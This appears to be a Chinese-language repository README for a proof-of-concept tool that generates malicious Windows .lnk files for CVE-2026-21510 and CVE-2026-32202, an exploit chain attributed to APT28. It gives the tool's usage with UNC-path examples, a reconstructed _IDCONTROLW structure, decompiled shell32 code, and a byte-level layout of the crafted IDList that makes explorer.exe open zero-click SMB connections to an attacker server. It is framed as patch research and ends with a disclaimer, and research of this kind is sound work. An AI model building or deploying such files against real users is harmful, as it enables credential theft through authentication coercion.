python3 CVE-2026-32202.py -h
usage: CVE-2026-32202.py [-h] --unc PATH [--out FILE] [--applet-id INT] [--name STR] [--infotip STR] [--no-dump]
Generate a test LNK file with an _IDCONTROLW structure.
Research tool for CVE-2026-21510 / CVE-2026-32202 patch analysis.
options:
-h, --help show this help message and exit
--unc, -u PATH UNC or local path to embed in _IDCONTROLW (e.g. \\192.168.1.31\share\test.cpl)
--out, -o FILE Output LNK filename (default: test_idcontrolw.lnk)
--applet-id, -a INT Signed applet ID for dwAppletID (default: -201 = 0xFFFFFF37)
--name, -n STR Display name of the CPL applet (default: "Research CPL")
--infotip, -i STR Tooltip string (default: "CVE-2026-21510 research")
--no-dump Suppress the hex dump of _IDCONTROLW
Examples:
python CVE-2026-32202.py --unc \\192.168.1.31\share\test.cpl
python CVE-2026-32202.py --unc \\192.168.1.31\share\test.cpl --out poc.lnk
python CVE-2026-32202.py --unc \\srv\share\x.cpl --applet-id -201 --no-dump
_IDCONTROLW研究背景: 针对 CVE-2026-21510 / CVE-2026-32202(APT28 LNK 漏洞利用链)的分析。
基于 Akamai 安全研究。
目标: 重建shell32.dll用于在LinkTargetIDList中表示控制面板小程序(applet)的内部_IDCONTROLW结构。
APT28 利用 Windows Shell(shell32.dll)中的一个漏洞,通过构造包含 LinkTargetIDList 的恶意 .lnk 文件,在未公开的 _IDCONTROLW 结构中嵌入 UNC 路径。这导致 explorer.exe 在无需用户交互的情况下(零点击)向攻击者控制的服务器发起 SMB 连接。
_IDCONTROLW 结构在公开的 Windows SDK 或 Microsoft 公开的 shell32.dll PDB 符号中均未记录。本报告记录了通过 IDA Pro 静态分析进行重建的过程。
根据 MS-SHLLINK,LinkTargetIDList 包含一个标准的 IDList —— 由变长 ItemID 条目组成的数组,以 2 字节空值结尾。
在 APT28 漏洞利用中,IDList 恰好包含三个条目:
| 索引 | 内容 |
|---|---|
IDList[0] | CLSID {26EE0668-A00A-44D7-9371-BEB064C98683} — 控制面板根节点 |
IDList[1] | CControlPanelCategoryFolder 条目 — “所有控制面板项”(类别 0) |
IDList[2] | _IDCONTROLW — 嵌入 UNC 路径的 CPL 小程序条目 |
这解析为虚拟路径:
::{26EE0668-A00A-44D7-9371-BEB064C98683}\0\{CPL entry}
由于 _IDCONTROLW 不存在于公开的 PDB 符号中,重建工作通过在 IDA Pro 中从 CControlPanelFolder::GetUIObjectOf(负责在资源管理器中渲染控制面板条目的函数)开始追踪调用链来完成。
CControlPanelFolder::GetUIObjectOf当资源管理器渲染包含恶意 LNK 的文件夹时,会调用 GetUIObjectOf 来提取 CPL 条目的图标。这会触发以下调用链:
CControlPanelFolder::GetUIObjectOf
└── CControlPanelFolder::GetModuleMapped ← PathFileExistsW 在此处触发(CVE-2026-32202)
└── CControlPanelFolder::GetModule
└── CControlPanelFolder::_IsUnicodeCPLWorker ← 检测 _IDCONTROLW
_IsUnicodeCPLWorker — 结构验证const struct _IDCONTROLW *__thiscall
CControlPanelFolder::_IsUnicodeCPLWorker(_WORD *this)
{
if ( *this > 0x18u // cb > 24
&& !*(this + 4) // +0x08 == 0
&& !*(this + 5) // +0x0A == 0
&& !*((_BYTE *)this + 12) // +0x0C == 0
&& *((_BYTE *)this + 13) == 106 ) // +0x0D == 0x6A
return (const struct _IDCONTROLW *)this;
return nullptr;
}
这揭示了位于偏移量 +0x0D = 0x6A 处的 Unicode 标记。
CControlPanelFolder::GetModule — 字段访问// 从偏移量 +0x18 读取 Unicode 路径(v5[1] = &structure[1] = +0x18):
v10 = StringCchCopyW((size_t)&v6[1], v12, savedregs);
// ANSI 回退从偏移量 +0x0C 读取:
v7 = SHAnsiToUnicode((PCSTR)(v6 + 12), a1, (int)cwchBuf) == 0;
这确认了 Unicode 路径(ModulePath)起始于 +0x18。
_IDControlCreateW — 结构构造int __userpurge _IDControlCreateW@<eax>(...)
{
v8 = wcslen(a2); // len(ModulePath)
v9 = 2 * wcslen(a3) + 2; // sizeof(Name) in bytes
v10 = 2 * v8 + 4 + v9 + 2 * wcslen(a4); // total data size
v11 = ILCreate(v10 + 26); // alloc: data + 0x1A header
v11[1] = a1; // +0x04: dwAppletID
*((_BYTE*)v11 + 13) = 106; // +0x0D: typeFlag = 0x6A
*((_WORD*)v11 + 10) = (2*v8+2) >> 1; // +0x14: cchModule
*((_WORD*)v11 + 11) = *((_WORD*)v11+10) + (v9>>1); // +0x16: offName
*(_WORD*)v11 = v10 + 24; // +0x00: cb
// strings written at +0x18
}
_IDCONTROLW 结构struct _IDCONTROLW {
WORD cb; // +0x00 size of entire structure (including cb itself)
WORD pad1; // +0x02 padding, always 0
DWORD dwAppletID; // +0x04 applet ID (negative for registered CPL, e.g. -201 = 0xFFFFFF37)
WORD pad2; // +0x08 always 0 (checked by _IsUnicodeCPLWorker)
WORD pad3; // +0x0A always 0 (checked by _IsUnicodeCPLWorker)
BYTE pad4; // +0x0C always 0 (checked by _IsUnicodeCPLWorker)
BYTE typeFlag; // +0x0D = 0x6A — Unicode CPL marker
WORD pad5; // +0x0E padding
DWORD pad6; // +0x10 padding
WORD cchModule; // +0x14 length of ModulePath in WCHARs (including null terminator)
WORD offName; // +0x16 offset of Name from start of data[] in WCHARs
WCHAR data[1]; // +0x18 ModulePath\0Name\0InfoTip (UTF-16LE)
};
| 偏移量 | 大小 | 字段 | 值 / 说明 |
|---|---|---|---|
+0x00 | WORD | cb | 结构总大小 |
+0x02 | WORD | pad1 | 0 |
+0x04 | DWORD | dwAppletID | 小程序 ID(例如 0xFFFFFF37 = -201) |
+0x08 | WORD | pad2 | 0 — 由 _IsUnicodeCPLWorker 验证 |
+0x0A | WORD | pad3 | 0 — 由 _IsUnicodeCPLWorker 验证 |
+0x0C | BYTE | pad4 | 0 — 由 _IsUnicodeCPLWorker 验证 |
+0x0D | BYTE | typeFlag | 0x6A — Unicode 标记 |
+0x0E | WORD | pad5 | 0 |
+0x10 | DWORD | pad6 | 0 |
+0x14 | WORD | cchModule | wcslen(ModulePath) + 1 |
+0x16 | WORD | offName | cchModule(Name 紧随 ModulePath 之后) |
+0x18 | WCHAR[] | data[] | ModulePath\0Name\0InfoTip(UTF-16LE) |
_IDCONTROL 与 _IDCONTROLWANSI 版本(_IDCONTROL)由 _IDControlCreateA 创建,使用不同的布局:
struct _IDCONTROL {
WORD cb; // +0x00 = total_size + 12
WORD flags; // +0x02
DWORD dwAppletID; // +0x04
WORD cchModule; // +0x08 strlen(ModulePath) + 1
WORD offName; // +0x0A cchModule + strlen(Name) + 1
CHAR data[1]; // +0x0C ModulePath\0Name\0InfoTip (ANSI)
};
主要区别:
| 属性 | _IDCONTROL(ANSI) | _IDCONTROLW(Unicode) |
|---|---|---|
| 头部大小 | 0x0C(12 字节) | 0x18(24 字节) |
| 字符串编码 | ANSI(char) | UTF-16LE(WCHAR) |
| Unicode 标记 | 无 | +0x0D = 0x6A |
| 检测方式 | _IsUnicodeCPLWorker 返回 nullptr | 返回指针 |
| 路径起始偏移量 | +0x0C | +0x18 |
{26EE0668-...})1F 50 68 06 EE 26 0A A0 D7 44 93 71 BE B0 64 C9 86 83
类型 0x1F = 带 CLSID 的根 Shell 条目。
根据 CControlPanelCategoryFolder::CreateIDList 重建:
*(_WORD*)v5 = 12; // cb = 0x0C
*((_WORD*)v5 + 1) = 1; // flags = 0x0001
v5[1] = 0x39DE2184; // magic identifier
v5[2] = 0; // category index = 0
二进制:
0C 00 01 00 84 21 DE 39 00 00 00 00
_IDCONTROLW以 \\192.168.1.31\share\test.cpl 为例:
9E 00 — cb = 158
00 00 — pad1
37 FF FF FF — dwAppletID = -201
00 00 — pad2
00 00 — pad3
00 — pad4
6A — typeFlag = 0x6A ✓
00 00 00 00 00 00 — pad5 + pad6
1E 00 — cchModule = 30
1E 00 — offName = 30
5C 00 5C 00 ... — \\192.168.1.31\share\test.cpl (UTF-16LE)
未修补版本中的漏洞链:
Explorer 渲染文件夹
→ CControlPanelFolder::GetUIObjectOf(图标提取请求)
→ CControlPanelFolder::GetModuleMapped
→ PathFileExistsW(pszPath) ← SMB 连接在此处发起
Microsoft 的补丁(CVE-2026-21510)引入了 ControlPanelLinkSite,通过 IVerifyingTrust::OnVerifyingTrust 添加 SmartScreen 验证——但仅在 ShellExecuteExW 阶段。GetModuleMapped 中的 PathFileExistsW 调用发生在调用链的更早阶段,未被处理,导致 CVE-2026-32202(身份验证强制)在后续更新之前一直未修补。
本仓库提供的信息仅供教育和参考之用。作者不认可也不对任何非法、恶意或不道德地使用所提供材料的行为承担责任。 所讨论的技术和概念不应在未经适当授权的情况下应用于任何系统或网络。作者不对因滥用此信息而导致的任何损害、法律后果或损失承担责任。 建议读者遵守有关网络安全实践的所有适用法律和准则。